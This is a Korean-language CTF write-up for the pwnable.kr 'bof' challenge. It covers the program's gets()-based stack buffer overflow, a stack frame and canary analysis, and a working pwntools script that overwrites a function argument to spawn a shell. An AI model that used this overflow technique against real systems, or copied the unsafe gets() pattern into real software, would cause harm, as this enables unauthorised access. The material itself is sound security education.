본문 바로가기

Wargame/[pwnable.kr]

[pwnable.kr] bof 문제 풀이

※ pwnable.kr의 워게임 bof 문제이다.

1. bof.c 파일을 열어보면 다음과 같다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}

int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

2. 프로그램 분석

  • main 함수가 func 함수를 호출하여 실행하는 프로그램이다.
  • func 함수는 매개변수로 받은 값이 0xcafebabe와 일치하면 쉘을 실행하고 다르면 "Nah.."을 출력한다.
  • main 함수에서 func의 인자를 0xdeadbeef로 하고 함수를 호출한다.
  • 그러므로 실행하면 "Nah.."을 출력할 것이다.
  • 32비트 아키텍처이고 보호기법은 canary, NX, PIE 전부 적용되어 있다.

 

3. 취약점 분석

  • func 함수에서 버퍼를 gets(overflowme)로 입력을 받는 것에서 취약점이 발생한다.
  • gets 함수는 입력받는 길이에 제한이 없다.
  • 버퍼의 크기보다 큰 데이터를 입력하여 변수 key의 값을 원하는 데이터로 덮을 수 있는 버퍼 오버플로우가 가능하다.

 

4. 풀이

1) 스택 프레임의 구조를 알아야 한다.

2) 변수 key의 앞까지 더미값을 채우고 key 값에 0xcafebabe로 덮는다.

3) if 문에서 조건문이 True가 되기 때문에 쉘을 실행하고 획득한 쉘로 flag파일을 읽으면 된다.

 

5. 익스플로잇

1) func 함수의 스택 프레임 구조를 구한다.

  • 스택 프레임을 0x48만큼 할당한다.

 

  • gets 함수의 인자를 [ebp-0x2C]에서 불러오기 때문에 버퍼에 입력하면 [ebp-0x2C]에 저장된다.

 

  • 매개변수와 0xcafebabe를 비교할 때 매개변수의 위치를 불러오기 때문에 매개 변수 위치가 [ebp+0x8]에 위치하는 것을 알 수 있다.
    ( jne는 jump if it's not equal이며 위에서 비교하여 같으면 <func+49>으로 점프하여 system을 호출하고 다르면 <func+63>으로 점프하여 puts 함수를 호출한다.)

 

  • stack canary는 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 마지막에 해당 값의 변조를 확인하는 보호 기법이다. canary 값의 변조가 확인되면 프로세스를 종료한다. 위에서 이 프로그램에 적용된 보호기법에 stack canary가 있었다. stack canary 보호기법이 적용되어 있기 때문에 임의의 값을 [ebp-0xC]에 저장한 다음 마지막에 그 값을 다시 확인하여 변형 되었으면 프로세스를 종료한다.

여기서는 canary 값을 얻을 수 없다. 하지만 프로그램을 보면  canary를 검사하여 프로세스를 종료하는 것보다 system 함수를 호출하여 쉘을 획득하는 것이 먼저이다. 즉, if문을 참으로 만들어 system을 호출하여 flag를 읽고 난 다음 canary를 검사하여 스택이 변조되었기 때문에 프로세스가 종료되는 것이다.  그래서 canary 값을 몰라도 상관없다.

 

  • 스택 프레임 구조이다.

 

2) 페이로드 구성

  • 0xcafebabe로 덮어야 하기 때문에 [ebp-2C]에서 [ebp+0x8]까지 쓰레기 값으로 채우고 0xcafebabe를 덮어주면 된다.

 

3) 익스플로잇

from pwn import *

context(arch="i386", os="linux")

p = remote("pwnable.kr",9000)

flag = 0xcafebabe

payload = b"A" * 0x20     # overflowme
payload += b"B" * 0x4     # canary
payload += b"C" * 0x8     # dummy
payload += b"D" * 0x4     # SFP
payload += b"E" * 0x4     # return address
payload += p32(flag)      # key

p.sendline(payload)

p.interactive()

 

6. 결과

 

 

'Wargame > [pwnable.kr]' 카테고리의 다른 글

[pwnable.kr] passcode 문제 풀이  (1) 2023.07.29
[pwnable.kr] random 문제 풀이  (0) 2023.07.29
[pwnable.kr] flag 문제 풀이  (0) 2022.08.20
[pwnable.kr] collision 문제 풀이  (0) 2022.08.19
[pwnable.kr] fd 문제 풀이  (0) 2022.08.19